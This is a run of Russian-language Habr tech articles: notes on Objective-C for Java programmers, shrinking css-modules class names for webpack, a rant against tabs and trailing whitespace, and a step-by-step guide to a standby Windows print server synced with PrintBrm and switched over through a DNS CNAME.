Я не собираюсь использовать эти способы в своем скрипте, так как указанные классы морально устарели (базируются на стареньком «IE11», который, насколько я понимаю, даже не поддерживает множество нововведений последних лет, внесенных в стандарт языка HTML). Просто хотел их попробовать, так как на сайте «Stack Overflow» на эти способы есть очень много ссылок. Эти способы всё еще работают, их можно использовать для каких-то простых случаев.
Я собираюсь рассмотреть для использования в своем скрипте одну из двух подходящих библиотек: «[Html Agility Pack](https://html-agility-pack.net/)» или «[AngleSharp](https://anglesharp.github.io/)». Еще в данном контексте интересна технология «[WebDriver](https://w3c.github.io/webdriver/)», но, если ее использовать, то, видимо, не из «PowerShell», потому что там задействуется браузер. Нужно ли это мне, не уверен.
Продолжение: «[PowerShell: HTML Agility Pack и AngleSharp](https://habr.com/ru/post/682298/)». | https://habr.com/ru/post/680936/ | null | ru | null |
# Шокирующий Objective-C для Java программистов, часть вторая
Продолжаю краткий обзор особенностей Objective-C, удивляющих Java программистов ([первая часть](http://habrahabr.ru/blogs/macosxdev/138441/)). Во второй части немного будет рассказано о философии языка, о поддержке пространств имен и о типе **id**. Судя по комментариям к первой части, необходимо немного пофилософствовать, поэтому обещанные свойства (**property**) переносятся в третью часть. Также узнаем какие вопросы задают в американских супермаркетах.
#### Совершенство это не когда нечего добавить, а когда нечего отнять
Как правильно было отмечено [bobermaniac](http://habrahabr.ru/users/bobermaniac/) в комментариях к первой части — синтаксис не очень важен, важнее понимать идиомы языка. Не менее важно понимать и общие принципы построения языка, его философию. Самого дрожь берет от высокопарности.
Я начал с заезженной цитаты, но она отлично характеризует дизайн языка С. Простота, выразительность, лаконичность и все это без ущерба возможностям. Создатели С верили в людей — в результате в споре компилятора и программиста всегда побеждает последний (хотя и не всегда конечный пользователь этому рад). Но потом программисты захотели работать с объектами. И на компактный фундамент С водрузили колонны объектной ориентации. Наибольших успехов в этом добился С++. Но формально используя С как основу, С++ не следует его духу минимализма. Разница в толщине «Кернигана-Ричи» и «Страуструпа» наводит на размышления.
Брэд Кокс (Brad Cox) хотел добавить возможности SmallTalk в С, не создавая полностью новый язык. У него это получилось и созданный им Objective-C является надмножеством языка С, сохраняя дух его дизайна и в объектных расширениях. Т.е. язык С оставлен как есть, объектно-ориентированные нововведения сделаны в четко оговоренных границах и их не так много. Отчасти это объясняет непривычный синтаксис Objective-C? все эти [] и @ — это те желтые ленты, которые огораживают зону строительных работ (или желтые ленты вешают только на месте преступления?). Один характерный пример минимализма — в Objective-C даже нет специального синтаксиса для создания объектов, как нет его и для определения конструктора и деструктора. Методы *alloc, init, new, dealloc* являются не частью языка, а частью фреймворка.
Создатели Java пошли немного другим путем и основное внимание уделили безопасности языка, введя более строгую проверку соотвествия типов, проверку выхода за границы массива, обязательную обработку и спецификацию исключений и много другое. Вера в человека была заменена верой в бездушный компилятор. Поэтому программистам на Java очень важно помнить, что Objective-C, как и С, гораздо меньше ограничивает автора, часто в ущерб безопасности кода. Я даже говорю не об управлении памятью, а таких особенностях языка, как категории, непроверяемые компилятором исключения, неформальные протоколы, отсутствие гарантии существования метода (не всегда, но бывает). При желании по своим ногам можно палить с двух рук очередями.
Теперь давайте проследуем за настроженно озирающимся Java программистом и рассмотрим пару практических вопросов.
#### Do you have id?
Подобный вопрос можно услышать при покупке алкоголя в Северной Америке. В ответ следует показать удостоверение личности с данными о возрасте (обычно водительские права). Я первый раз услышал «idea» в вопросе и удивленно ответил, что собираюсь безыдейно выпить все 6 бутылок пива. Продавец осторожно потянул упаковку к себе.
В Objective-C тоже есть тип id — универсальная ссылка на объект любого класса. Если Java программист подумал, что это напоминает ссылку на **Object**, то он ошибается. Если С программист подумал, что это напоминает **void\***, то он ошибается. Компилятор рассматривает id именно как ссылку на объект любого класса. Можно вызывать любой ранее определенный метод любого класса (но если метод не определен — нельзя), присваивать объект любого класса без приведения типов и т.п. Единственное ограничение — нельзя обращаться к полям объектов.
Еще раз напомню структуру классов из предыдущей статьи
```
@interface Profile : NSObject
@property (readonly) int version;
@end
@interface Feature : NSObject
- (Profile*) getProfile:(NSString*)name;
@end
@interface Phone : NSObject
+ (Phone*) designAndProduce:(NSString*)name;
-(Feature*) getFeature:(NSString*)name;
@end
```
Теперь несколько примеров использования id:
```
// Можно так
id idPtr = [Phone designAndProduce:@"iphone5"];
// Можно и так
Phone* anotherPhone = idPtr;
// Можно даже так (с ошибкой во время выполнения программы)
Feature* badFeature = idPtr;
// Так нельзя - компилятор скажет, что сообщение getFeture не определно и будет прав
Feature* anotherBadFeature = [idPtr getFeture:@"bt"];
// А так можно
Feature* btFeature = [idPtr getFeature:@"bt"];
// Даже так можно, сообщение существует, компилятор нам верит, а зря
Profile* profile = [idPtr getProfile:@"a2dp"];
```
В последнем случае при запуске программы мы получим сообщение об ошибке: *Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[Phone getProfile:]: unrecognized selector sent to instance 0x100114510'*
и начнем немного лучше понимать как работает диспетчеризация сообщений.
#### Plastic or paper?
Еще один хороший вопрос от кассиров американских супермаркетов. Спрашивают какой именно пакет дать, но с первого раза мало кто догадывается.
Так вот, о пакетах. Неприятная новость для Java программистов — пакетов (**packages**) здесь нет. Нет вообще никаких механизмов управления пространствами имен. Можно только выбирать какие заголовочные файлы включать, а какие нет. Скажем спасибо минимализму С и консервативности авторов Objective-С. Чтобы избежать конфликтов имен рекомендуется использовать префиксы. Например, NS в имени класса *NSObject* — это префикс классов, разработанных для ОС NextStep компании NeXT. Последнюю основал Стив Джобс в перерыве между работой в компании Apple и работой в компании Apple.
Нужно помнить одно важное отличие от Java. JVM доступны все классы платформы Java, все классы добавленные пользователем в classpath и/или lib/ext и кое-что еще. Поэтому конфликта имен избежать очень сложно. Программа на Objective-C имеет дело только с классами, использующимися в коде, так что вероятность конфликта на порядок меньше. Это объясняется разной семантикой **import** в Java и **#import** в Objective-C. Первый импортирует пространство имен, позволяя использовать короткие имена классов в коде. Но сам класс доступен и без этого, придется лишь писать полное имя класса (т.е. не *List*, а *java.util.List*). В Objective-C происходит настоящий импорт определения класса, без него компилятор не имеет никаких знаний о данном классе.
Иногда полезна полумера — директива **@class** позволяет объявить класс без его определения.
```
@class Profile
@interface Feature : NSObject
- (Profile*) getProfile:(NSString*)name;
@end
```
В этом случае мы уверяем компилятор, что такой класс существует и он соглашается откомпилировать наш код. Т.к. компилятор все равно ничего не знает о структуре класса, посылка сообщений объектам этого класса вызовет ошибку компиляции. Но это обычно и не надо, т.к. директива обычно используется в заголовочных файлах. Возникает вопрос — зачем вообще она нужна, если можно обойтись *#import*? Обычно для оптимизации компиляции в больших проектах, т.к. импорт может сильно увеличить объем кода и, соответственно, время компиляции. Вторая причина — цикличные ссылки между классами.
#### Заключение
Надеюсь, единственный оставшийся после прочтения вопрос — при чем тут американские супермаркеты? Не знаю, просто такие подзаголовки получились. | https://habr.com/ru/post/138640/ | null | ru | null |
# Как уменьшить размер бандла — стратегия однобуквенных классов в css-modules
Улучшаем компрессию бандлов на 40% от размера файла, путём замены стандартного хеширования на однобуквенный префикс + хеш пути файла.
Css-modules позволяют написать компоненты Bird и Cat, со стилями в файлах с одинаковым именем styles.css и классами .block в каждом, и эти классы будут разные для каждого из этих компонентов.
```
/* Bird / styles.css */
.block { }
.name { }
/* Cat / styles.css */
.block { }
.name { }
```
Ничего хитрого тут нет: вебпак хеширует каждый класс из всех файлов с помощью настройки "[hash:base64:8]". Все классы будут переименованы, и проставлены ссылки, чтобы понимать, какой класс откуда взяли. В базовом варианте сборки, у нас будет файл styles.css для стилей и styles.js для ссылок при работе с js.
Продолжая тестовый пример, получаем 4 независимых класса со странными именами типа k3bvEft8:
```
/* Bird */
.k3bvEft8 { }
.f2tp3lA9 { }
/* Cat */
.epIUQ_6W { }
.oRzvA1Gb { }
```
Запустим продакшн-сборку и сожмём файлы. На рабочем стенде, 300Kb css-файл стал упакован в 70Kb с помощью gzip [или 50Kb с помощью brotli]. Сжатие небольшое, потому что хеши — случайные сгенерированные строки, очень плохо сжимаются. Алгоритмы сжатия не видят последовательностей и вынуждены запоминать местоположения каждого символа, т.е. передавать содержимое этих участков как есть, без сжатия.
Что-то надо с этим делать. Но что? Во время работы, вебпак считывает дерево файлов асинхронно, и также проходит по названиям классов. Каждый раз по-разному. Единственное, за что можно зацепиться — это порядок имён внутри css — он постоянен (иначе всё сломается, в css порядок важен). Номер позиции класса в файле закодируем в однобуквенный префикс. Можно взять кодирование в 52 ([a-zA-Z]+) или в 64 ([a-zA-Z0–9\_-]+) символа. Тут главное не забыть проставить защитный префикс в случаях с цифрой или дефисом.
```
/* Bird */
.a { }
.b { }
/* Cat */
.c { }
.d { }
```
Вроде выглядит неплохо — имена сжались максимально. Но загвоздка в том, что вебпак асинхронный, и каждый запуск, и особенно при параллельном запуске серверной и клиентской одновременной сборки, получает файлы в хаотичном порядке, как и имена классов. Спасибо за скорость, но тут это мешает.
```
/* Bird */
.c { }
.d { }
/* Cat */
.a { }
.b { }
```
Видите, поймали несовпадение порядка файлов.
Пофиксим это поведение, запомнив файл, откуда пришли классы, и номер их позиции.
```
/* Bird */
.a { }
.b { }
/* Cat */
.a { }
.b { }
```
Сохранили порядок внутри файлов. Но нужно как-то отличать файлы друг от друга. Избежать путанницы поможет хеш от пути файла.
```
/* Bird */
.a_k3bvEft8 { }
.b_k3bvEft8 { }
/* Cat */
.a_oRzvA1Gb { }
.b_oRzvA1Gb { }
```
('\_' здесь не нужен, он только для наглядности. Хеш имеет стабильную длину, в отличие от префикса, и здесь не может быть коллизий)
У нас получились абсолютно уникальные для проекта имена классов, но содержащие повторяющиеся поледовательности.
В нашем проекте, из файлов css 50 Kb и js 47 Kb получили css 30 Kb и js 28 Kb [58 Kb суммарно, brotli].
Экономия почти 40Kb. Немного уменьшится и размер критичного css, и размер html.
Осталось написать класс для обработки данных из вебпака и прокинуть вызов в конфиге css-loader (getLocalIdent)
P.S. Можно пойти дальше и сохранять пути файлов, сортировать пути, и тоже заменять по однобуквенной стратегии, но это хуже в плане долгосрочного кеширования, плюс нужно делать несколько проходов в сборке и собирать клиент/сервер последовательно.
P.S.2 [Попробовать на своём проекте можно уже сейчас, если взять код здесь](https://github.com/webpack-contrib/css-loader/pull/1062)
P.S.3 В продакшене сжимаем на 93% файлы \*.css и \*style.js. Передаём 71,6Kb от 1,1Mb распакованного файла (brotli) | https://habr.com/ru/post/499162/ | null | ru | null |
# О трэйлинг вайтспейсах замолвите слово
Значит так. Властью, данной мне хабраредактором, я объявляю этот топик местом праведного гнева, ярости, местом вселенской скорби и бессильной ненависти, которые возникают в благородных мужах при виде подобной картины:
А теперь ВНЕЗАПНО, без всяких размусоливаний, две старейших, как мир, истины. Не говорите, что вы об этом никогда не слышали. И тем более не говорите, что вам нужны аргументы. Артгументы — для слабых духом, Истина Древних не нуждается в аргументации! [\*]
* **Никаких табов в исходниках, только одни пробелы.**
* **Никаких забытых пробелов в конце строки. ~~Никогда. Ни при каких обстоятельствах.~~** Только когда они там действительно нужны.
Пожалейте своих коллег, которым этот мусор мешает работать. Не плодите авгиевы конюшни, которые потом будет выгребать ваш ближний. Имейте чувство самоуважения, в конце концов. Сделайте 3 простых шага к всеобщему взаимопониманию, спокойствию и гармонии.
#### Шаг 1: Признайте проблему
Встаньте перед зераклом и, глядя себе в глаза, проговорите: «В моем коде полным-полно этих мерзких трэйлинг вэйтспейсов и постоянно разъезжающихся табов. С этим надо что-то делать. Нужно решить эту проблему. Я не могу больше причинять столько дискомфорта всем этим ребятам, которые работают со мной». Если не помогло, то попробуйте проговорить эту мантру еще несколько раз.
#### Шаг 2: Включите в своем редакторе вайтспейсодетектор
Настройте свой любимый редактор так, чтобы он показывал табы и лишние пробелы. Практически любой серьезный редактор умеет это делать. Если ваш редактор не умеет таких простых вещей, то немедленно удалите его — теперь он слишком прост для вас — и поставьте vim или emacs. Или Textmate. Или E Text Editor.
В Vim-е подсветка гадости включается очень просто:
`set list
set listchars=tab:»·
set listchars+=trail:·
set endofline`
В emacs существует специальный модуль whitespace, который позволяет подсвечивать и (бинго!) аннигилировать невидимых гадов одной командой:
`M-x whitespace-cleanup`
#### Шаг 3: Преградите нечисти путь в ваш репозиторий
Серьезно. Свяжитесь с человеком, который поддерживает ваш репозиторий, и попросите добавить его post-commit хуки для проверки коммита на наличие вредителей. Написать скрипт для любой SCM не составит труда. Кстати, вполне возможно, что в вашей системе функция обнаружения вайтспейсов уже есть из коробки, например в git-e ее нужно только включить.
#### [\*] Future reading
[Tabs considered harmful](http://lmgtfy.com/?q=tabs+vs+spaces)
[Trailing whitespaces are bad](http://lmgtfy.com/?q=why+trailing+whitespaces+are+bad) | https://habr.com/ru/post/77155/ | null | ru | null |
# Отказоустойчивый сервер печати на базе Windows
[](https://habr.com/post/414369/)
Настоящий админ может спать спокойно лишь тогда, когда у него всё бэкапится, мониторится и дублируется. ~~Или когда он работает в хорошей команде, где всегда можно свалить вину на другого.~~
Так получилось, что я в своей работе использую в основном продукты Microsoft и могу сказать, что компания серьезно подходит к резервированию своих сервисов: Active Directory, Exchange DAG, SQL Always On, DFSR и т.д. Как и везде, здесь есть как весьма изящные и удачные реализации, так и явно неудобные и тяжелые. Для сервиса печати тоже есть решение, но для него необходима кластеризация на базе Hyper-V. А хотелось простого решения “из коробки”, не требующего дополнительных финансов. За основу была взята Windows 2012 R2, но скорее всего та же схема без проблем будет работать на любых серверных версиях, начиная с Windows 2008, и даже клиентских ОС от Vista и выше (привет любителям экономить бюджет!). Кому интересно — прошу под кат.
**Disclaimer**~~Дабы уважить труд индусов~~ Так как аудитория Хабра в основном русскоязычная и чтобы было проще начинающим админам, в примерах использован русский вариант интерфейса Windows. Ссылки, где это возможно, тоже ведут на русскоязычные ресурсы.
Немного теории
--------------
Кто не любит теорию и хочет быстрее поклацать мышью и клавиатурой, может сразу перейти к следующей части.
Как было сказано выше, [официальная рекомендация](https://technet.microsoft.com/en-us/library/jj556311(v=ws.11).aspx) на сегодняшний день — это решение с использованием кластеризации и виртуализации Hyper-V. Также ничто не мешает обеспечить отказоустойчивость сервиса печати на уровне системы виртуализации, причем не обязательно Hyper-V, но такие решения стоят денег.
Мне очень хотелось что-нибудь похожее на [DHCP Failover](https://blogs.technet.microsoft.com/keithmayer/2012/10/28/step-by-step-scoping-out-the-new-dhcp-failover-in-windows-server-2012-31-days-of-favorite-features-part-28-of-31/), но для роли принт-сервера.
В интернете в целом и на хабре [в частности](https://habr.com/post/159721/) ничего подходящего не нашлось — и пришлось изобретать самому.
**Суть идеи в одном абзаце**
Описанное ниже решение основано на использовании утилиты BrintBrm, входящей в стандартную поставку Windows и пришедшую [на замену printmig](https://blogs.technet.microsoft.com/askperf/2008/10/17/why-printmig-3-1-is-retired/).
Резервный сервер работает в standby-режиме и с заданной периодичностью синхронизирует настройки с основным сервером с помощью этой утилиты. Для клиентских машин в DNS создан CNAME с малым TTL, ссылающийся на основной сервер. В случае аварии основного сервера админ правит CNAME, переключая клиентов на резервный сервер. Вот, собственно, и всё.
Если тема интересна и хочется познакомиться с уже набитыми мной шишками и путями обхода граблей, прошу следовать дальше.
Before you begin, или что нужно знать о PrintBrm
------------------------------------------------
Итак, какова она, эта утилита PrintBrm, главное назначение которой — прислуживать серверу печати?
* Ухожена. Имеет GUI-воплощение, которое именуется *Перенос принтеров* (*Print Migration*) и может быть запущено из оснастки *Управление печатью*. GUI-вариант менее функционален и имеет проблемы с переносом портов.
* Внимательна. По умолчанию обрабатывает ACL принтеров принт-сервера. Другими словами, если вы разрешили печатать на принтере \\printserver\printer1 только сотрудникам, входящим в AD-группу *Бухгалтерия*, то это ограничение будет учтено импорте/экспорте. Или не будет, если поставить ключ *-NOACL*. При этом ACL самого сервера печати не обрабатывается независимо от ключа.
* Капризна. На момент импорта параметров из файла на целевом сервере должен быть хотя бы один расшаренный принтер, иначе получите ошибку.
* Нежна. Теряется, видя пробелы в пути файла. При виде кавычек, обрамляющих такой путь, [огорчается](http://www.planetcobalt.net/sdb/2013/06/index.shtml) и выдает ошибку 0x8007007b.
* Скромна. Если при попытке экспорта настроек указанный файл уже существует, перезаписать его не может, спросить стесняется и также завершается с ошибкой.
* Таинственна. Всегда [возвращает exit-код, равный 0](https://powershell.org/forums/topic/how-to-get-the-error-code-or-return-code-of-an-exe/). Получается, идеальная программа.
* Склонна к раздумьям. Может подзависнуть на стадии 100% минут на 5, а иногда и больше. Но потом одумывается и завершает работу (если, конечно, у вас хватит терпения не нажать Ctrl+C).
* Внезапна и противоречива. Может устраивать [вот такие сюрпризы](https://social.technet.microsoft.com/Forums/windows/en-US/1a529a94-07c3-481b-b47d-aa15d9537b0c/scheduled-printbrm-tools-export-file-does-not-inherit-ntfs-security-of-the-destination-unc-path?forum=winserverprint).
* Умна. Может переназначать исходные драйверы на другие. Например, с помощью XML-файла можно указать, что все драйверы HP Universal Printing PCL 5 в сохраненном файле на целевом сервере надо переназначить на HP Universal Printing PCL 6. На практике не использовал, но для кого-то может пригодиться.
* Своенравна. Использовать ее для переноса настроек между доменами без доверия у меня не получилось, даже с ключом -NOACL. Либо не умеет в принципе, либо моя магия недостаточно сильна.
* Познакомиться поближе можно [тут](https://ss64.com/nt/printbrm.html) и [здесь](https://blogs.technet.microsoft.com/askperf/2012/04/03/migrating-print-queues-quickly-using-printbrm-configuration-files-and-the-generictext-only-driver/), а для тех отважных, кто не стесняется спросить напрямую, есть ключ /?
Допускаю, что какие-то черты я незаслуженно обошел вниманием. Возможно, в Windows 10/2016 она стала вести себя иначе. Если есть информация, прошу поделиться.
Подготовка среды
----------------
Предполагается, что у вас уже развернута Active Directory и вы знаете как минимум 3 способа вывести ее из строя и хотя бы 2 из них были опробованы на практике.
**Немного лирики**Отступая от темы статьи, замечу, что мне нравится порядок, и я за то, чтобы на каждом сетевом принтере и МФУ была наклейка, соответствующая его сетевому имени. Это упрощает работу сотрудников ИТ, когда они пытаются выяснить у пользователя, на каком именно принтере ~~фото котиков~~ важные аналитические отчеты печатаются в ядовито-кислотных тонах вместо нежно-фисташковых. ~~Клеить такие наклейки лучше на дно принтера, чтобы было всем было интереснее и веселее.~~
Также мне нравится, когда каждый сетевой принтер прописан во внутренней DNS-зоне. С этой задачей [легко справится](http://winintro.ru/dhcp.ru/html/7541d5ff-ba37-49fd-854b-12534af2c754.htm) DHCP-сервер на базе Windows.
К примеру, имя принтера может быть формата msk-prn001 или sale-printer023, причем имена портов для этих принтеров на принт-сервере названы точно так же. Но это лично мои предпочтения, готов выслушать возражения в комментариях.
Будем исходить из того, что все принтеры сетевые и доступны для печати с основного и резервного принт-серверов. Пусть эти серверы называются *prn-srv01* и *prn-srv02* соответственно.
В качестве принт-серверов подойдут доменные машины на Windows Server не ниже 2008. В принципе подойдут и клиентские ОС, начиная с Vista, если уж очень хочется сэкономить. В примере используется Windows 2012 R2. Крайне желательно перед настройкой установить все необходимые обновления операционной системы как на серверы, так и на клиентские машины.
Вы и сами, конечно, понимаете, но кэп всё же требует обратить внимание: если принт-серверы будут виртуальными, то они обязательно должны быть разнесены по разным физическим серверам, иначе наш failover превратится просто в fail.
На *prn-srv01* и *prn-srv02* должна быть добавлена роль сервера печати. Мне удобнее для этого использовать командлет PowerShell:
`Install-WindowsFeature Print-Services`
Также на принт-серверах должен быть применен твик реестра, который исправляет [ошибку 0×00000709](https://support.microsoft.com/en-us/help/979602/error-message-when-you-try-to-connect-to-a-printer-by-using-an-alias-c) при обращении клиентских машин к принт-серверу по CNAME. Можно сделать это командой из статьи по ссылке выше:
`reg add HKLM\SYSTEM\CurrentControlSet\Control\Print /v DnsOnWire /t REG_DWORD /d 1`
После применения команды нужно перезапустить службу *Диспетчер печати*.
Рекомендую выделить для принт-серверов отдельный OU и раздавать эту настройку [с помощью GPP](http://winitpro.ru/index.php/2016/01/19/nastrojka-klyuchej-reestra-s-pomoshhyu-gruppovyx-politik/).
Запускаем оснастку DNS на контроллере домена и включаем расширенное отображение:
**клик**
Расширенное отображение нужно, чтобы иметь возможность задать TTL для создаваемых записей.
В DNS создаем CNAME-запись *print*, ссылающуюся на *prn-srv01* с 5-минутным значением TTL:
**клик**
**клик**
Это имя должны использовать клиентские машины для подключения к принт-серверу. Т.е. клиент будет подключаться к адресам \\print\printer01, \\print\printer02 и т.д.
Чем меньше значение TTL, тем чаще клиенты будут обновлять запись и быстрее “поймут”, что надо переключиться на другой сервер печати. Мне достаточно 5 минут.
Задав слишком малое значение, вы плодите DNS-трафик в своей сети, ~~а указав час или два, вы подчеркнете свою стрессоустойчивость и крепкие нервы~~.
Альтернативный вариант добавления CNAME-записи с помощью PowerShell:
`Import-Module DnsServer
Add-DnsServerResourceRecordCName -Name "print" -HostNameAlias "prn-srv01.lab.net" -ZoneName "lab.net" -TimeToLive 00:05:00`
(Разумеется, lab.net меняем на ваш contoso.local или как там его)
Надо учесть, что если у вас несколько сайтов AD, то обновление DNS-записи во всех локациях займет больше времени за счет межсайтовой репликации. Форсировать процесс можно командой *repadmin /syncall*.
Средствами групповой политики разрешаем рядовым пользователям устанавливать драйверы с принт-сервера. О том, как это сделать, подробно написано [тут](http://winitpro.ru/index.php/2013/05/24/kak-razreshit-polzovatelyam-domena-ustanavlivat-printery/).
Создаем служебную учетную запись в AD (я назвал ее svc-printsync) с неограниченным сроком действия пароля:
**клик**
Согласно требованиям PrintBrm, эта учетная запись должна обладать полными правами на принт-сервере, поэтому добавляем ее в ~~домен-админы, чтобы наверняка всё работало и прописываем пароль в поле описания, чтобы не забыть~~ локальную группу *Администраторы* на *prn-srv01* и *prn-srv02* (например, с помощью оснастки *Управление компьютером*).
Настраиваем первый сервер
-------------------------
Если все нужные принтеры на основном принтере уже добавлены, то можно сразу перейти к разделу о настройке второго сервера.
С помощью оснастки *Управление печатью* добавляем на сервер драйверы нужных принтеров:
**клик**
Запустится мастер установки драйверов. Он интуитивно понятен, тут сами разберетесь. Обращу лишь внимание на момент с разрядностью.
Т.к. Windows 2012R2 поставляется только в x64-варианте, то драйверы тоже должны быть x64. Если же к серверу печати будут подключаться клиенты с x86-версиями Windows, не забудьте поставить соответствующий флажок:
**клик**
Некоторые комплекты драйверов содержат общий inf-файл и для x86, и для x64-систем, в других же присутствует разделение.
**Ещё немного лирики**Многие драйверы поставляются в виде инсталлятора, но, учитывая, что эти инсталляторы ставят вместе с драйверами много всякого мусора, я стараюсь следовать принципу “необходимо и достаточно” и добавлять драйверы вручную, как описано выше.
Также в целях единообразия я по максимуму стремлюсь использовать Universal-вариант драйверов (есть практически у всех нормальных вендоров). Но с ним иногда могут быть проблемы. Так, однажды встретил баг в одной из версий HP Universal Printing PCL 6, при котором PDF-документ через EasyPrint в RDP-сеансе печатался зеркально слева направо.
Можно ещё посмотреть в сторону [v4-драйверов](https://blog.thinprint.com/the-new-microsoft-v4-printer-driver-model/).
Когда все необходимые драйверы добавлены, займемся портами и принтерами. Можно их добавить вручную из той же оснастки, но я рекомендую создать CSV-файл в Excel и скормить его PowerShell-скрипту. Разумеется, ничто не мешает вместо Excel использовать любой другой табличный редактор или вообще блокнот. Главное — чтобы разделитель и кодировка, указанные в скрипте, соответствовали разделителю и кодировке в CSV-файле.
Также обратите внимание, что имя драйвера в CSV-файле должно быть точно таким же, каким оно указано в оснастке *Управление печатью*.
**Копи-паст в помощь**
**Пример CSV-файла**
Хоть я писал выше, что мне нравится, когда все принтеры имеют унифицированные сетевые имена, в примере (поле *Адрес принтера*) использован винегрет из IP-адресов и имен на случай, если порядок у вас в сети ~~отсутствует~~ будет наведен чуть позже.
Сохраним эту таблицу в CSV-формате:
**клик**
***Примечание.** Несмотря на то, что в поле “Тип файла” в качестве разделителей указаны запятые, у меня Excel разделителем сделал точку с запятой. Наверно, чтобы было интереснее и веселее.*
А вот сам скрипт:
**CreatePrintersFromCsv.ps1**
```
#Откуда будем загружать данные
$InputFile = 'C:\Scripts\Printers.csv'
#Разделитель и кодировка должны соответствовать формату CSV-файла
$Printers = (Import-Csv $InputFile -Delimiter ";" -Encoding Default)
#Все указанные в файле драйверы должны присутствовать на целевом сервере
ForEach ($Printer in $Printers) {
#Текст должен соответствовать заголовкам столбцов в файле
$PrinterName = $Printer.'Имя принтера'
$ShareName = $Printer.'Имя общего ресурса'
$DriverName = $Printer.'Имя драйвера'
$PrinterAddr = $Printer.'Адрес принтера'
$Comment = $Printer.'Комментарии'
$Location = $Printer.'Размещение'
#Добавляем порт
Add-PrinterPort -Name $PrinterAddr -PrinterHostAddress $PrinterAddr -SNMP 1 -SNMPCommunity 'public'
#Добавляем принтер
Add-Printer -Name $PrinterName -DriverName $DriverName -PortName $PrinterAddr -Comment $Comment -Location $Location
#и расшариваем его
Set-Printer -Name $PrinterName -Shared $True -Published $False -ShareName $ShareName
}
```
Если в качестве разделителя в вашем CSV используется знак табуляции, то в скрипте надо выставить *-Delimiter "`t"*
Учтите, что если во время работы скрипта какой-нибудь принтер будет недоступен с сервера, то его добавление на принт-сервер займет больше времени (2-3 минуты вместо нескольких секунд)
Результат работы скрипта:
**клик**
Чтобы убедиться, что на этом этапе всё работает, добавляем на любую из клиентских машин общий принтер с основного принт-сервера, используя ранее созданный CNAME (например, \\print\printer01), и пробуем распечатать на нем что-нибудь. ~~Для этой цели лучше всего подойдет фраза “Превед, я бумажко”, набранная жирным шрифтом Arial с 200-м кеглем.~~
Настраиваем второй сервер
-------------------------
> Un artista copia, un gran artista roba (Пабло Пикассо)
Наш *prn-srv02* пока еще не дорос до уровня gran artista, поэтому ограничимся копированием. ~~Хотя… можно легким движением руки...~~
Создаем и расшариваем хотя бы один принтер, иначе PrintBrm выдаст ошибку. Можно сделать фейковый, но при этом важно не выбрать неподходящий драйвер или порт. Например, принтер с драйвером Microsoft XPS Document Writer или портом FILE: расшарить не получится.
Создаём незатейливый скрипт синхронизации. Я предпочитаю PowerShell, но никто не запрещает сделать теплый ламповый батник.
**PrintSync.ps1**
```
#Путь к утилите PrintBrm
$ProgramPath = 'C:\Windows\System32\Spool\Tools\PrintBrm.exe'
#Основной и резервный серверы
$SourceServer = 'prn-srv01'
$DestServer = 'prn-srv02'
#Файл, куда выгружаем настройки. Путь не должен содержать пробелы, т.к. утилита PrintBrm не понимает кавычки в пути файла
$ConfigFilePath = 'C:\Scripts\prn-config.printerExport'
#Экспортируем принтеры в файл
$Arguments = "-s $SourceServer -f $ConfigFilePath -b"
Start-process $ProgramPath -ArgumentList $Arguments -Wait -PassThru
#Импортируем принтеры из файла
$Arguments = "-s $DestServer -f $ConfigFilePath -r -o force"
Start-process $ProgramPath -ArgumentList $Arguments -Wait -PassThru
#Прибираемся за собой
Del $ConfigFilePath
```
Кладем скрипт в укромное место (в примере это *C:\Scripts*) и создаем задачу в Планировщике.
Запускать будем из-под ранее созданной учетной записи svc-printsync с наивысшими правами:
**клик**
Частоту выполнения определите для себя сами. Мне достаточно раз в сутки:
**клик**
На вкладке Действия создаем новое действие запуска PowerShell:
`C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`
В качестве аргументов задаем путь к скрипту со следующими параметрами:
`C:\Scripts\PrintSync.ps1 -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass`
**клик**
Остальные параметры задачи на вкладках *Условия* и *Параметры* оставляем по умолчанию.
При сохранении задачи будет запрошен пароль для учетной записи *svc-printsync*. Вы ведь его не забыли? Если уже забыли (статья-то длинная), то ~~всё было сделано зря и жизнь не удалась~~ сбросьте его с помощью оснастки ADUC или другим удобным способом ~~и укажите его уже в поле описания, чтоб было спокойнее~~.
**Примечание**Задание не обязательно должно выполняться на резервном принт-сервере. Если у вас есть отдельный сервер для запуска регламентных процедур, можете создать задачу на нем. При этом у учётной записи *svc-printsync* должно быть право на вход в качестве пакетного задания на этом сервере. По умолчанию такое право есть у локальной группы *Операторы архива* (*Backup Operators*), и если в вашей среде это не изменено, то достаточно включить сервисную учётную запись в группу операторов архива того сервера, на котором будет работать задание.
В первый раз запускаем задание вручную и дожидаемся его завершения.
Для моего зоопарка, где около 50-ти принтеров разных видов, как вымирающих, так и недавно выведенных, процедура синхронизации занимает примерно 10 минут. Файл при этом весит почти 1ГБ.
Для ускорения процесса импорта/экспорта можно использовать ключ *-NOBIN*, который отвечает за копирование драйверов. Имеет смысл, когда парк принтеров состоит из одинаковых моделей и необходимые драйверы установлены на всех серверах.
После завершения запускаем оснастку *Просмотр событий*, переходим в раздел *Журналы приложений и служб*, открываем журнал *Microsoft\Microsoft\PrintBRM\Администратор* и анализируем его на предмет ошибок и предупреждений. ~~И если их слишком много, то скорее чистим журнал, чтоб глаза не мозолили.~~
Мне попадались с кодами 20, 22, 80 и 81. Например,
**такая**
Как ясно из текста, возникла проблема при переносе определенного драйвера. Просматривая журнал, составляем список проблемных драйверов и ставим их руками на резервный сервер, либо заменяем другими, которые не прочь попутешествовать. У меня были проблемы лишь с HP, Kyocera и Konica Minolta, для драйверов других производителей ошибок не выявилось (может потому, что они лучше, а может потому, что у нас их просто нет).
В итоге нужно добиться одинакового списка принтеров на основном и резервном серверах и отсутствия ошибок и предупреждений в логах.
Переключаемся на резерв
-----------------------
~~Под стук топоров и скрежет вил баррикадируем дверь в свой кабинет и отключаем телефон.~~ Запускаем оснастку DNS и правим CNAME-запись, чтобы она указывала на резервный сервер:
**клик**
Через некоторое время (что вы там ставили в TTL?) ~~угрожающие вопли стихнут,~~ клиентские машины переключатся на prn-srv02 ~~и дверь с телефоном можно будет разблокировать~~.
Возвращаемся обратно
--------------------
